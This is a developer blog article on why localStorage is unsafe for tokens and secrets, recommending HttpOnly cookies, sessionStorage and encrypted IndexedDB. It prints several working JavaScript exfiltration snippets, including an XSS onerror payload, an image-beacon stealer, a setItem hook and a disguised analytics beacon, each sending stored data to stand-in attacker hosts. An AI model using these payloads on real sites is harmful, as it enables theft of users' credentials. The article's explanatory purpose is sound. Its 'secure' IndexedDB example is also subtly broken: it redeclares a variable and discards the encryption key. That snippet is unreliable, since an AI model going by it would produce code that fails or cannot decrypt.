Limited Spots: Interested in sponsoring?
Author Trevor I. Lasn

Trevor I. Lasn

/dev/writer

8 min read

Stop Using localStorage for Sensitive Data: Here's Why and What to Use Instead

Understanding the security risks of localStorage and what to use instead for tokens, secrets, and sensitive user data

LocalStorage is a web API that’s seductively simple. It’s persistent, it has a straightforward interface, and it’s immediately available in every modern browser. But this convenience masks serious security vulnerabilities that make it unsuitable for sensitive data.

The Security Model of localStorage

When JavaScript code runs in your browser, it has unrestricted access to localStorage for its origin (domain). Any script, regardless of where it came from, can read and write to localStorage if it executes on your page.

Model of localStorage

This model creates multiple attack vectors. When we store sensitive data on the client side, we’re essentially creating a treasure map for attackers. Each storage method opens up different attack vectors, with some being more vulnerable than others. Let’s examine these attack vectors in detail.

Third-Party Script Injections

Web apps often include external scripts for analytics, ads, or UI components. Each of these has complete access to your localStorage:

// Any third-party script can do this
const sensitiveToken = localStorage.getItem('auth_token');
const userData = localStorage.getItem('user_data');

// Send to malicious server
fetch('https://evil-server.com', {
  method: 'POST',
  body: JSON.stringify({ token: sensitiveToken, data: userData })
});

A compromised third-party script becomes a direct threat to any sensitive data in localStorage. Supply chain attacks have become increasingly common, turning trusted scripts into potential data exfiltration tools.

One notable example is CVE-2020-11022: jQuery versions >=1.2 and <3.5.0 were vulnerable to XSS attacks even when sanitizing HTML from untrusted sources. When this HTML was passed to jQuery’s DOM manipulation methods (.html(), .append(), etc.), it could execute malicious code.

This vulnerability wasn’t a supply chain attack but demonstrates how widely-used packages can harbor serious security issues - jQuery was powering millions of websites at the time. Here’s how such vulnerabilities can be exploited to access localStorage:

// Malicious code taking advantage of the jQuery vulnerability
const payload = `<img src="x" onerror="
  const sensitive = {
    token: localStorage.getItem('auth_token'),
    user: localStorage.getItem('user_data')
  };
  fetch('https://attacker.com', {
    method: 'POST',
    body: JSON.stringify(sensitive)
  });
">`;

// Even with sanitization, this could execute in affected jQuery versions
$('#content').html(sanitizeHtml(payload));

The vulnerability was patched in jQuery 3.5.0, but it had existed for years before discovery.

Take the 2021 compromise of the popular npm package ‘ua-parser-js’. It was downloaded over 7 million times per week, and when attackers gained access to the developer’s account, they injected malicious code into three versions of the package. Any project using those versions unknowingly included the compromised code in their build.

ua-parser-js NPM Stats

This is why depending on localStorage for sensitive data creates such a significant risk. It’s not just about trusting your own code - you have to trust every third-party script, their security practices, and their entire supply chain.

Browser Extension Exploitation

Browser extensions can inject scripts into your web pages and access localStorage. While many extensions are legitimate, some can be malicious or get compromised:

// Code injected by a browser extension
const observer = new MutationObserver(() => {
  // Monitor localStorage for sensitive data
  const allData = { ...localStorage };
  
  // Send to collection server
  chrome.runtime.sendMessage({ 
    type: 'COLLECTED_DATA',
    payload: allData 
  });
});

observer.observe(document, { subtree: true, childList: true });

XSS Payload Impact

Cross-site scripting (XSS) attacks become significantly more dangerous when sensitive data is stored in localStorage. A single XSS vulnerability can lead to immediate data theft. These attacks are particularly nasty because they execute with the same privileges as legitimate site code.

// Basic data theft using Image beacon
const collectSensitiveData = () => {
  const data = Object.keys(localStorage).reduce((acc, key) => {
    acc[key] = localStorage.getItem(key);
    return acc;
  }, {});

  // Exfiltrate all localStorage data
  const img = new Image();
  img.src = `https://attacker.com/collect?data=${encodeURIComponent(JSON.stringify(data))}`;
};

collectSensitiveData();
// More sophisticated attack that monitors for new data
const monitorStorage = () => {
  // Intercept all localStorage writes
  const originalSetItem = localStorage.setItem;
  localStorage.setItem = function(key, value) {
    // Call original to maintain functionality
    originalSetItem.call(this, key, value);
    
    // Steal the newly added data
    const img = new Image();
    img.src = `https://logger.evil.com/collect?key=${key}&value=${encodeURIComponent(value)}`;
  };
  
  // Also grab existing data
  stealData();
};
// Version 3: Stealth mode - hiding in normal-looking analytics
const compromisedAnalytics = () => {
  window.trackEvent = function(eventName, properties = {}) {
    // Look legitimate
    console.log('Tracking:', eventName);
    
    // Steal localStorage in small chunks to avoid detection
    const chunk = {};
    const keys = Object.keys(localStorage);
    const start = Math.floor(Math.random() * keys.length);
    
    // Only steal a few items at a time
    for(let i = 0; i < 3; i++) {
      const key = keys[(start + i) % keys.length];
      chunk[key] = localStorage.getItem(key);
    }
    
    // Hide theft in legitimate-looking analytics call
    navigator.sendBeacon(
      'https://analytics.evil.com/collect',
      JSON.stringify({
        event: eventName,
        properties: properties,
        metadata: chunk  // Smuggle stolen data
      })
    );
  };
};

// Inject any of these payloads through XSS vulnerabilities:
// - Unsanitized user input
// - Compromised third-party scripts
// - Malicious iframe content
// - Eval of untrusted JSON

The scariest part? These attacks can be nearly impossible to detect because:

  • They execute with full privileges
  • Can be disguised as normal functionality
  • Can persist through page reloads if injected into stored code
  • Often bypass CORS and CSP restrictions using techniques like Image beacons

This is why storing sensitive data in localStorage is so risky - a single XSS vulnerability anywhere in your application or its dependencies can lead to complete compromise of all stored data.

When to Use localStorage

Despite its security limitations, localStorage has valid use cases. The key is to only store non-sensitive data that won’t create security risks if exposed.

Think of localStorage as your app’s public notebook - perfect for jotting down preferences and temporary data. UI preferences like theme settings, language choices, and layout configurations are ideal candidates. When a user picks dark mode or collapses their sidebar, localStorage gives you a spot to remember these choices.

Here’s how you might handle theme preferences:

// Good uses of localStorage
const safeStorageExamples = {
  // UI Preferences
  theme: 'dark',
  fontSize: '16px',
  sidebarCollapsed: true,
  
  // Non-sensitive app state
  lastViewedPage: '/dashboard',
  sortPreference: 'date-desc',
  
  // Cached public data
  productCategories: ['Electronics', 'Books', 'Clothing'],
  languageSettings: 'en-US',
  
  // Feature flags
  hasSeenWelcomeMessage: true,
  betaFeaturesEnabled: false
};

You can also use localStorage to save drafts of non-sensitive forms. If someone’s writing a blog post or filling out a public survey, localStorage can preserve their work between page refreshes:

const draftManager = {
  saveDraft(formId, data) {
    // Only for non-sensitive forms!
    localStorage.setItem(`draft_${formId}`, JSON.stringify(data));
  },
  
  loadDraft(formId) {
    const draft = localStorage.getItem(`draft_${formId}`);
    return draft ? JSON.parse(draft) : null;
  }
};

Performance optimization is another sweet spot for localStorage. Caching public data can reduce API calls and make your app feel snappier:

const publicDataCache = {
  async getData(key) {
    const cached = localStorage.getItem(key);
    if (cached) {
      return JSON.parse(cached);
    }
    
    const response = await fetch(`/api/public/${key}`);
    const data = await response.json();
    
    localStorage.setItem(key, JSON.stringify(data));
    return data;
  }
};

User experience features often benefit from localStorage too. Those “Don’t show this again” messages or tutorial completion flags? Perfect for localStorage:

const userExperience = {
  dismissMessage(messageId) {
    const dismissed = JSON.parse(localStorage.getItem('dismissed_messages') || '[]');
    dismissed.push(messageId);
    localStorage.setItem('dismissed_messages', JSON.stringify(dismissed));
  },
  
  hasSeenMessage(messageId) {
    const dismissed = JSON.parse(localStorage.getItem('dismissed_messages') || '[]');
    return dismissed.includes(messageId);
  }
};

The key to using localStorage safely is asking yourself: “If this data was exposed to a malicious actor, what’s the worst that could happen?” If the answer involves any security or privacy risks, find a more secure storage solution.

Alternatives to localStorage

HttpOnly cookies provide strong security against XSS attacks since JavaScript can’t access them, but they still need proper configuration (SameSite, Secure flags) and CSRF protection to be truly secure - they’re not immune to all types of attacks by default. They’re perfect for refresh tokens and session identifiers:

app.post('/login', (req, res) => {
  const refreshToken = generateRefreshToken();
  
  res.cookie('refresh_token', refreshToken, {
    httpOnly: true,    // JavaScript can't access
    secure: true,      // HTTPS only
    sameSite: 'strict', // Prevents CSRF
    path: '/api/refresh'  // Scope to specific endpoints
  });
});

SessionStorage offers a sweet spot between localStorage’s persistence and memory’s transience. It acts like a temporary vault that automatically clears itself when you close the tab. This behavior makes it particularly useful for sensitive data that you only need for a single session.

Think of sessionStorage as a short-term memory bank. Unlike localStorage that keeps data indefinitely, sessionStorage enforces a strict lifetime - everything disappears when the tab closes. This automatic cleanup reduces the risk of sensitive data lingering around:

const sessionManager = {
  storeTemporaryData(key, value) {
    sessionStorage.setItem(key, JSON.stringify({
      value,
      timestamp: Date.now(),
      expiresIn: 30 * 60 * 1000 // 30 minutes
    }));
  },
  
  getTemporaryData(key) {
    const data = sessionStorage.getItem(key);
    if (!data) return null;
    
    const { value, timestamp, expiresIn } = JSON.parse(data);
    
    // Auto-expire old data even within the session
    if (Date.now() - timestamp > expiresIn) {
      sessionStorage.removeItem(key);
      return null;
    }
    
    return value;
  },
  
  refreshData(key) {
    const data = this.getTemporaryData(key);
    if (data) {
      this.storeTemporaryData(key, data); // Reset expiration
    }
    return data;
  }
};

// Example usage in a shopping cart
const cartManager = {
  async updateCart(items) {
    sessionManager.storeTemporaryData('cart', items);
    
    // Also sync with server
    await fetch('/api/cart', {
      method: 'POST',
      body: JSON.stringify(items)
    });
  },
  
  getCart() {
    return sessionManager.getTemporaryData('cart') || [];
  }
};

SessionStorage shines for temporary sensitive data like form progress, wizard states, or checkout processes. While it’s more secure than localStorage simply due to its shorter lifespan, it’s still vulnerable to XSS attacks within the active session. That’s why adding extra security layers, like expiration timestamps and data validation, helps create a more robust solution.

The key advantage of sessionStorage is its automatic cleanup - you don’t need to write code to clear sensitive data, the browser handles that for you. This reduces the risk of data leaks through forgotten cleanup or error conditions. However, remember that “session” means browser tab - data persists through page refreshes and survives browser crashes, so don’t treat it as truly temporary memory.

For larger datasets or offline capabilities: IndexedDB stands out, but its raw storage isn’t inherently secure. Like localStorage, any JavaScript running on your page can access it. However, IndexedDB’s architecture makes it perfect for encrypted storage of sensitive data.

Think of IndexedDB as your app’s private database - while it offers more sophisticated storage capabilities than localStorage, it’s still bound to the same origin (domain) security model, meaning any JavaScript on your page can access it. Unlike localStorage’s simple key-value pairs, IndexedDB supports complex data structures, binary data, and most importantly - efficient storage of encrypted content. You can store several megabytes of data without impacting performance, making it ideal for offline-first applications that need to cache sensitive information.

Here’s how you might implement secure storage with IndexedDB:

const secureStore = {
  async encrypt(data) {
    // Generate a unique encryption key using Web Crypto API
    const key = await crypto.subtle.generateKey(
      { name: 'AES-GCM', length: 256 },
      true,
      ['encrypt', 'decrypt']
    );
    
    // Convert data to buffer for encryption
    const encoder = new TextEncoder();
    const dataBuffer = encoder.encode(JSON.stringify(data));
    
    // Generate a random IV for each encryption
    const iv = crypto.getRandomValues(new Uint8Array(12));
    
    // Encrypt the data
    const encryptedData = await crypto.subtle.encrypt(
      { name: 'AES-GCM', iv },
      key,
      dataBuffer
    );
    
    return {
      encrypted: encryptedData,
      iv,
      key
    };
  },
  
  async store(key, value) {
    const db = await openDB('secureStore', 1, {
      upgrade(db) {
        // Create store with indexes if needed
        db.createObjectStore('encrypted', { keyPath: 'id' });
      }
    });

    const { encrypted, iv, key } = await this.encrypt(value);
    
    // Store encrypted data with metadata
    await db.put('encrypted', {
      id: key,
      data: encrypted,
      iv,
      timestamp: Date.now()
    });
  }
};

This encryption approach protects your data even if an attacker gains access to IndexedDB. By using the Web Crypto API for encryption, you may benefit from secure hardware encryption when available in supported environments - though this depends on the user’s device and browser capabilities. The combination of IndexedDB’s storage capabilities and proper encryption gives you a robust solution for storing sensitive data that needs to be available offline.

The right choice depends on your specific needs - consider the lifetime of the data, who needs access to it, and what security guarantees you require.


Learning Paths & Resources

Level up your skills with these curated learning resources from trusted educational partners. Perfect for developers at any stage who want to master frontend, backend, DevOps, or tackle real-world coding challenges.


This article was originally published on https://www.trevorlasn.com/blog/the-problem-with-local-storage. It was written by a human and polished using grammar tools for clarity.

Interested in a partnership? Shoot me an email at hi [at] trevorlasn.com with all relevant information.